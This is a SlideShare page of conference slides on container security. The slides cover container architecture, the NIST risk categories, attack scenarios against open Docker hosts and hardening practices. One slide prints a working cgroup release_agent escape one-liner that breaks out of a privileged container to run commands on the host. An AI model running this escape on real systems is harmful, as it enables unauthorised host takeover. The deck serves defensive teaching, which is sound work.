SlideShare a Scribd company logo
1 of 33
Container Security
Jie @ InfoSec2020
Nov/02/2020
curl -X GET https://2130706433/info
{
“Name”:
“Jie”,
“Experience”: [
“IBM Security”,
“Qualcomm”,
“National Center of High-Performance Computing”],
“Certification”: [
“CCIE #50382”,
“OSCP”,
“CEH”]
} https://www.linkedin.com/in/jieliau
https://github.com/jieliau
https://www.facebook.com/jie.liau
https://twitter.com/0xJieLiau
https://medium.com/@liau.weijie
Gartner predicts that by 2023,
70% of organizations will be running three or more containerized applications in production
?
Infrastructure
Hypervisor
Guest OS Guest OS Guest OS
Bin/Lib Bin/Lib Bin/Lib
App1 App2 App2
Infrastructure
Host OS
Bin/Lib Bin/Lib Bin/Lib
App1 App2 App3
Container Engineer
Virtual Machine Virtual Machine Virtual Machine
Containerized
Application
Containerized
Application
Containerized
Application
Open Container Initiative - OCI
• Runtime Spec
• namespace
• cgroups
• Image Spec
• Layer
• Image index
• Configuration
Security Issues
Host OS Risk
Orchestration System Risks Image Risks
Container Runtime RisksRegistry Risks
•Improper user access rights
•OS vulnerabilities
•Unbounded admin access
•Weak or unmanaged credentials
•Unmanaged inter-container network
traffic
•Mixed of workload sensitivity levels
•Insecure connections to registries
•Stale images in registries
•Image vulnerabilities
•Image configuration
•Embedded malware
•Embedded secrets
•Image trust
•Vulnerabilities within the runtime
software
•Unbounded network access from
containers
•Insecure container runtime
configurations
•Shared kernel
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
Container escape to the host
Container should not run as root
Use non-root user in your Dockerfile
Privileged Container is so Bad
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
https://twitter.com/_fel1x/status/1151487051986087936
Bad Image
Open Docker API
Docker host
Client Host
Geek
Attack Scenario I
Vulnerable Container
1. Attack vulnerable container
2. Compromise the host
Docker Host or K8s Cluster
Attack Scenario II
Bad Container
1. Push bad image
2. Deploy by admin
3. Create bad container
Docker Host or K8s cluster
Attack Scenario III
Privileged Container
1. Find out open docker host
2. Create privileged container
3. Compromise the host
Open Docker Host
Bad Image for Cryptocurrency Mining
https://www.trendmicro.com/vinfo/tw/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining
Kinsing Malware Attacks Targeting Container Env
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
BestPractices
• Always use the most up to date version of Docker
• Allow only trusted users control of the Docker daemon by making sure only trusted users are members of Docker group
• Run your containers as a non-root user (UID not 0)
• Use only trusted base images when building your containers
• Use minimal base images that don’t include unnecessary software packages that could lead to a larger attack surface
• Don’t store secrets in images/Dockerfiles
• When running containers, remove all capabilities not required for the container to function as needed
• Don’t run containers with –privileged flag
• Don’t mount sensitive host system directories on containers, especially in writable mode that could expose them to being changed maliciously in a way
that could lead to host compromise
• Don’t run sshd within containers
• Don’t map any ports below 1024 within a container as they are considered privileged because they transmit sensitive data
• Make sure you have rules in place that give you an audit trail for:
• Docker daemon and Docker files and directories:
• /var/lib/docker
• /etc/docker
• docker.service
• docker.socket
• /etc/default/docker
• /etc/docker/daemon.json
• /etc/sysconfig/docker
• /usr/bin/containerd
• /usr/sbin/runc https://www.stackrox.com/post/2019/09/docker-security-101/
CAP-ADD instead of Privileged
• —cap-add
• SYS_ADMIN
• NET_ADMIN
• MAC_ADMIN
• NET_RAW
• SYS_TIME
• SYSLOG
• …
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
Limit Resource Usage
• —memory
• —cpus
• —cpu-period
• —pids-limit
• —kernel-memory
• —device-read-bps
• —device-read-ios
• —device-write-bgp
• —device-write-ios
https://docs.docker.com/config/containers/resource_constraints/
Open Source Tools for Docker Security
• Docker Bench for Security
• Clair
• Cilium
• Anchore
• OpenSCAP Workbench
• Dagda
• Notary
• Grafaes
• Sysdig Falco
• Banyanops Collector
https://techbeacon.com/security/10-top-open-source-tools-docker-security
Container Visibility is So Damn Important
https://blog.gigamon.com/2019/09/19/if-you-dont-have-container-visibility-your-organization-is-at-risk/
https://github.com/sysflow-telemetry
References
• https://www.stackrox.com/post/2020/03/6-container-adoption-trends-of-2020/
• https://www.docker.com/blog/containers-replacing-virtual-machines/
• https://blog.aquasec.com/cve-2016-9962-run-container-run
• https://medium.com/@mccode/processes-in-containers-should-not-run-as-
root-2feae3f0df3b
• https://containerjournal.com/topics/container-security/why-running-a-privileged-
container-is-not-a-good-idea/
• https://docs.docker.com/engine/api/
• https://docs.docker.com/engine/api/v1.40/#operation/ContainerCreate
• https://www.trendmicro.com/vinfo/tw/security/news/virtualization-and-cloud/
malicious-docker-hub-container-images-cryptocurrency-mining
• https://docs.docker.com/config/containers/resource_constraints/
• https://techbeacon.com/security/10-top-open-source-tools-docker-security
ThankYou!!!

More Related Content

What's hot

Kubernetes - Security Journey
Kubernetes - Security JourneyKubernetes - Security Journey
Kubernetes - Security JourneyJerry Jalava
 
Container Security
Container SecurityContainer Security
Container SecuritySalman Baset
 
Kubernetes: A Short Introduction (2019)
Kubernetes: A Short Introduction (2019)Kubernetes: A Short Introduction (2019)
Kubernetes: A Short Introduction (2019)Megan O'Keefe
 
Introduction to docker
Introduction to dockerIntroduction to docker
Introduction to dockerInstruqt
 
Docker 101 : Introduction to Docker and Containers
Docker 101 : Introduction to Docker and ContainersDocker 101 : Introduction to Docker and Containers
Docker 101 : Introduction to Docker and ContainersYajushi Srivastava
 
Introduction to Docker storage, volume and image
Introduction to Docker storage, volume and imageIntroduction to Docker storage, volume and image
Introduction to Docker storage, volume and imageejlp12
 
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...Edureka!
 
Getting Started with Kubernetes
Getting Started with Kubernetes Getting Started with Kubernetes
Getting Started with Kubernetes VMware Tanzu
 
Introduction to Docker
Introduction to DockerIntroduction to Docker
Introduction to DockerAditya Konarde
 
Kubernetes Introduction
Kubernetes IntroductionKubernetes Introduction
Kubernetes IntroductionEric Gustafson
 
Docker introduction
Docker introductionDocker introduction
Docker introductionPhuc Nguyen
 
Kubernetes Introduction
Kubernetes IntroductionKubernetes Introduction
Kubernetes IntroductionPeng Xiao
 
DevJam 2019 - Introduction to Kubernetes
DevJam 2019 - Introduction to KubernetesDevJam 2019 - Introduction to Kubernetes
DevJam 2019 - Introduction to KubernetesRonny Trommer
 
Intro to containerization
Intro to containerizationIntro to containerization
Intro to containerizationBalint Pato
 
Getting started with Docker
Getting started with DockerGetting started with Docker
Getting started with DockerRavindu Fernando
 

What's hot (20)

Kubernetes - Security Journey
Kubernetes - Security JourneyKubernetes - Security Journey
Kubernetes - Security Journey
 
Container Security
Container SecurityContainer Security
Container Security
 
Kubernetes: A Short Introduction (2019)
Kubernetes: A Short Introduction (2019)Kubernetes: A Short Introduction (2019)
Kubernetes: A Short Introduction (2019)
 
Introduction to docker
Introduction to dockerIntroduction to docker
Introduction to docker
 
Docker 101 : Introduction to Docker and Containers
Docker 101 : Introduction to Docker and ContainersDocker 101 : Introduction to Docker and Containers
Docker 101 : Introduction to Docker and Containers
 
Introduction to Docker storage, volume and image
Introduction to Docker storage, volume and imageIntroduction to Docker storage, volume and image
Introduction to Docker storage, volume and image
 
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...
Kubernetes Architecture | Understanding Kubernetes Components | Kubernetes Tu...
 
Getting Started with Kubernetes
Getting Started with Kubernetes Getting Started with Kubernetes
Getting Started with Kubernetes
 
Introduction to Docker
Introduction to DockerIntroduction to Docker
Introduction to Docker
 
Kubernetes Introduction
Kubernetes IntroductionKubernetes Introduction
Kubernetes Introduction
 
Kubernetes 101
Kubernetes 101Kubernetes 101
Kubernetes 101
 
Docker introduction
Docker introductionDocker introduction
Docker introduction
 
Kubernetes Introduction
Kubernetes IntroductionKubernetes Introduction
Kubernetes Introduction
 
DevJam 2019 - Introduction to Kubernetes
DevJam 2019 - Introduction to KubernetesDevJam 2019 - Introduction to Kubernetes
DevJam 2019 - Introduction to Kubernetes
 
Kubernetes 101
Kubernetes 101Kubernetes 101
Kubernetes 101
 
Docker
DockerDocker
Docker
 
Kubernetes Security
Kubernetes SecurityKubernetes Security
Kubernetes Security
 
Intro to containerization
Intro to containerizationIntro to containerization
Intro to containerization
 
Docker Introduction
Docker IntroductionDocker Introduction
Docker Introduction
 
Getting started with Docker
Getting started with DockerGetting started with Docker
Getting started with Docker
 

Similar to Container Security

Container Days: Hijack a Kubernetes Cluster - a Walkthrough
Container Days: Hijack a Kubernetes Cluster - a WalkthroughContainer Days: Hijack a Kubernetes Cluster - a Walkthrough
Container Days: Hijack a Kubernetes Cluster - a WalkthroughNico Meisenzahl
 
ContainerConf 2022: Hijack Kubernetes
ContainerConf 2022: Hijack KubernetesContainerConf 2022: Hijack Kubernetes
ContainerConf 2022: Hijack KubernetesNico Meisenzahl
 
Hijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughHijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughNico Meisenzahl
 
Develop Azure compute solutions Part - 2
Develop Azure compute solutions Part - 2Develop Azure compute solutions Part - 2
Develop Azure compute solutions Part - 2AzureEzy1
 
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Security Patterns for Microservice Architectures - ADTMag Microservices & API...Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Security Patterns for Microservice Architectures - ADTMag Microservices & API...Matt Raible
 
Secure your Azure Web App 2019
Secure your Azure Web App 2019Secure your Azure Web App 2019
Secure your Azure Web App 2019Frans Lytzen
 
Hijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughHijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughNico Meisenzahl
 
Tips and best practices for Docker
Tips and best practices for DockerTips and best practices for Docker
Tips and best practices for DockerCalidad Infotech
 
Secure your web app presentation
Secure your web app presentationSecure your web app presentation
Secure your web app presentationFrans Lytzen
 
Security Patterns for Microservice Architectures - London Java Community 2020
Security Patterns for Microservice Architectures - London Java Community 2020Security Patterns for Microservice Architectures - London Java Community 2020
Security Patterns for Microservice Architectures - London Java Community 2020Matt Raible
 
Road to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsGianluca Varisco
 
Contain your risk: Deploy secure containers with trust and confidence
Contain your risk: Deploy secure containers with trust and confidenceContain your risk: Deploy secure containers with trust and confidence
Contain your risk: Deploy secure containers with trust and confidenceBlack Duck by Synopsys
 
Security Patterns for Microservice Architectures - Oktane20
Security Patterns for Microservice Architectures - Oktane20Security Patterns for Microservice Architectures - Oktane20
Security Patterns for Microservice Architectures - Oktane20Matt Raible
 
Native Cloud-Native: Building Agile Microservices with the Micronaut Framework
Native Cloud-Native: Building Agile Microservices with the Micronaut FrameworkNative Cloud-Native: Building Agile Microservices with the Micronaut Framework
Native Cloud-Native: Building Agile Microservices with the Micronaut FrameworkZachary Klein
 
Microservices in the Enterprise
Microservices in the Enterprise Microservices in the Enterprise
Microservices in the Enterprise Jesus Rodriguez
 
How to Prevent Your Kubernetes Cluster From Being Hacked
How to Prevent Your Kubernetes Cluster From Being HackedHow to Prevent Your Kubernetes Cluster From Being Hacked
How to Prevent Your Kubernetes Cluster From Being HackedNico Meisenzahl
 
Secure Your Code Implement DevSecOps in Azure
Secure Your Code Implement DevSecOps in AzureSecure Your Code Implement DevSecOps in Azure
Secure Your Code Implement DevSecOps in Azurekloia
 
Finding Your Way in Container Security
Finding Your Way in Container SecurityFinding Your Way in Container Security
Finding Your Way in Container SecurityKsenia Peguero
 
Understanding docker ecosystem and vulnerabilities points
Understanding docker ecosystem and vulnerabilities pointsUnderstanding docker ecosystem and vulnerabilities points
Understanding docker ecosystem and vulnerabilities pointsAbdul Khan
 
Docker Security
Docker SecurityDocker Security
Docker Securityantitree
 

Similar to Container Security (20)

Container Days: Hijack a Kubernetes Cluster - a Walkthrough
Container Days: Hijack a Kubernetes Cluster - a WalkthroughContainer Days: Hijack a Kubernetes Cluster - a Walkthrough
Container Days: Hijack a Kubernetes Cluster - a Walkthrough
 
ContainerConf 2022: Hijack Kubernetes
ContainerConf 2022: Hijack KubernetesContainerConf 2022: Hijack Kubernetes
ContainerConf 2022: Hijack Kubernetes
 
Hijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughHijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a Walkthrough
 
Develop Azure compute solutions Part - 2
Develop Azure compute solutions Part - 2Develop Azure compute solutions Part - 2
Develop Azure compute solutions Part - 2
 
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Security Patterns for Microservice Architectures - ADTMag Microservices & API...Security Patterns for Microservice Architectures - ADTMag Microservices & API...
Security Patterns for Microservice Architectures - ADTMag Microservices & API...
 
Secure your Azure Web App 2019
Secure your Azure Web App 2019Secure your Azure Web App 2019
Secure your Azure Web App 2019
 
Hijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a WalkthroughHijack a Kubernetes Cluster - a Walkthrough
Hijack a Kubernetes Cluster - a Walkthrough
 
Tips and best practices for Docker
Tips and best practices for DockerTips and best practices for Docker
Tips and best practices for Docker
 
Secure your web app presentation
Secure your web app presentationSecure your web app presentation
Secure your web app presentation
 
Security Patterns for Microservice Architectures - London Java Community 2020
Security Patterns for Microservice Architectures - London Java Community 2020Security Patterns for Microservice Architectures - London Java Community 2020
Security Patterns for Microservice Architectures - London Java Community 2020
 
Road to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoops
 
Contain your risk: Deploy secure containers with trust and confidence
Contain your risk: Deploy secure containers with trust and confidenceContain your risk: Deploy secure containers with trust and confidence
Contain your risk: Deploy secure containers with trust and confidence
 
Security Patterns for Microservice Architectures - Oktane20
Security Patterns for Microservice Architectures - Oktane20Security Patterns for Microservice Architectures - Oktane20
Security Patterns for Microservice Architectures - Oktane20
 
Native Cloud-Native: Building Agile Microservices with the Micronaut Framework
Native Cloud-Native: Building Agile Microservices with the Micronaut FrameworkNative Cloud-Native: Building Agile Microservices with the Micronaut Framework
Native Cloud-Native: Building Agile Microservices with the Micronaut Framework
 
Microservices in the Enterprise
Microservices in the Enterprise Microservices in the Enterprise
Microservices in the Enterprise
 
How to Prevent Your Kubernetes Cluster From Being Hacked
How to Prevent Your Kubernetes Cluster From Being HackedHow to Prevent Your Kubernetes Cluster From Being Hacked
How to Prevent Your Kubernetes Cluster From Being Hacked
 
Secure Your Code Implement DevSecOps in Azure
Secure Your Code Implement DevSecOps in AzureSecure Your Code Implement DevSecOps in Azure
Secure Your Code Implement DevSecOps in Azure
 
Finding Your Way in Container Security
Finding Your Way in Container SecurityFinding Your Way in Container Security
Finding Your Way in Container Security
 
Understanding docker ecosystem and vulnerabilities points
Understanding docker ecosystem and vulnerabilities pointsUnderstanding docker ecosystem and vulnerabilities points
Understanding docker ecosystem and vulnerabilities points
 
Docker Security
Docker SecurityDocker Security
Docker Security
 

More from Jie Liau

OWASPAPISecurity
OWASPAPISecurityOWASPAPISecurity
OWASPAPISecurityJie Liau
 
HowYourAPIBeMyAPI
HowYourAPIBeMyAPIHowYourAPIBeMyAPI
HowYourAPIBeMyAPIJie Liau
 
iThome CyberSec2021 Container Security
iThome CyberSec2021 Container SecurityiThome CyberSec2021 Container Security
iThome CyberSec2021 Container SecurityJie Liau
 
Protecting Your Internet Route Integrity
Protecting Your Internet Route IntegrityProtecting Your Internet Route Integrity
Protecting Your Internet Route IntegrityJie Liau
 
The Tor Network
The Tor NetworkThe Tor Network
The Tor NetworkJie Liau
 
IBM X-Force Threat Intelligence Index 2017
IBM X-Force Threat Intelligence Index 2017IBM X-Force Threat Intelligence Index 2017
IBM X-Force Threat Intelligence Index 2017Jie Liau
 
Shell Shock
Shell ShockShell Shock
Shell ShockJie Liau
 

More from Jie Liau (8)

OWASPAPISecurity
OWASPAPISecurityOWASPAPISecurity
OWASPAPISecurity
 
HowYourAPIBeMyAPI
HowYourAPIBeMyAPIHowYourAPIBeMyAPI
HowYourAPIBeMyAPI
 
iThome CyberSec2021 Container Security
iThome CyberSec2021 Container SecurityiThome CyberSec2021 Container Security
iThome CyberSec2021 Container Security
 
Protecting Your Internet Route Integrity
Protecting Your Internet Route IntegrityProtecting Your Internet Route Integrity
Protecting Your Internet Route Integrity
 
The Tor Network
The Tor NetworkThe Tor Network
The Tor Network
 
IBM X-Force Threat Intelligence Index 2017
IBM X-Force Threat Intelligence Index 2017IBM X-Force Threat Intelligence Index 2017
IBM X-Force Threat Intelligence Index 2017
 
DDoS
DDoSDDoS
DDoS
 
Shell Shock
Shell ShockShell Shock
Shell Shock
 

Recently uploaded

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 

Recently uploaded (20)

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 

Container Security

  • 1. Container Security Jie @ InfoSec2020 Nov/02/2020
  • 2. curl -X GET https://2130706433/info { “Name”: “Jie”, “Experience”: [ “IBM Security”, “Qualcomm”, “National Center of High-Performance Computing”], “Certification”: [ “CCIE #50382”, “OSCP”, “CEH”] } https://www.linkedin.com/in/jieliau https://github.com/jieliau https://www.facebook.com/jie.liau https://twitter.com/0xJieLiau https://medium.com/@liau.weijie
  • 3. Gartner predicts that by 2023, 70% of organizations will be running three or more containerized applications in production
  • 4. ?
  • 5. Infrastructure Hypervisor Guest OS Guest OS Guest OS Bin/Lib Bin/Lib Bin/Lib App1 App2 App2 Infrastructure Host OS Bin/Lib Bin/Lib Bin/Lib App1 App2 App3 Container Engineer Virtual Machine Virtual Machine Virtual Machine Containerized Application Containerized Application Containerized Application
  • 6. Open Container Initiative - OCI • Runtime Spec • namespace • cgroups • Image Spec • Layer • Image index • Configuration
  • 7.
  • 8.
  • 9.
  • 11. Host OS Risk Orchestration System Risks Image Risks Container Runtime RisksRegistry Risks •Improper user access rights •OS vulnerabilities •Unbounded admin access •Weak or unmanaged credentials •Unmanaged inter-container network traffic •Mixed of workload sensitivity levels •Insecure connections to registries •Stale images in registries •Image vulnerabilities •Image configuration •Embedded malware •Embedded secrets •Image trust •Vulnerabilities within the runtime software •Unbounded network access from containers •Insecure container runtime configurations •Shared kernel https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
  • 13. Container should not run as root Use non-root user in your Dockerfile
  • 14. Privileged Container is so Bad d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o https://twitter.com/_fel1x/status/1151487051986087936
  • 16. Open Docker API Docker host Client Host Geek
  • 17. Attack Scenario I Vulnerable Container 1. Attack vulnerable container 2. Compromise the host Docker Host or K8s Cluster
  • 18. Attack Scenario II Bad Container 1. Push bad image 2. Deploy by admin 3. Create bad container Docker Host or K8s cluster
  • 19. Attack Scenario III Privileged Container 1. Find out open docker host 2. Create privileged container 3. Compromise the host Open Docker Host
  • 20. Bad Image for Cryptocurrency Mining https://www.trendmicro.com/vinfo/tw/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining
  • 21. Kinsing Malware Attacks Targeting Container Env https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
  • 22.
  • 24. • Always use the most up to date version of Docker • Allow only trusted users control of the Docker daemon by making sure only trusted users are members of Docker group • Run your containers as a non-root user (UID not 0) • Use only trusted base images when building your containers • Use minimal base images that don’t include unnecessary software packages that could lead to a larger attack surface • Don’t store secrets in images/Dockerfiles • When running containers, remove all capabilities not required for the container to function as needed • Don’t run containers with –privileged flag • Don’t mount sensitive host system directories on containers, especially in writable mode that could expose them to being changed maliciously in a way that could lead to host compromise • Don’t run sshd within containers • Don’t map any ports below 1024 within a container as they are considered privileged because they transmit sensitive data • Make sure you have rules in place that give you an audit trail for: • Docker daemon and Docker files and directories: • /var/lib/docker • /etc/docker • docker.service • docker.socket • /etc/default/docker • /etc/docker/daemon.json • /etc/sysconfig/docker • /usr/bin/containerd • /usr/sbin/runc https://www.stackrox.com/post/2019/09/docker-security-101/
  • 25. CAP-ADD instead of Privileged • —cap-add • SYS_ADMIN • NET_ADMIN • MAC_ADMIN • NET_RAW • SYS_TIME • SYSLOG • … https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
  • 26. Limit Resource Usage • —memory • —cpus • —cpu-period • —pids-limit • —kernel-memory • —device-read-bps • —device-read-ios • —device-write-bgp • —device-write-ios https://docs.docker.com/config/containers/resource_constraints/
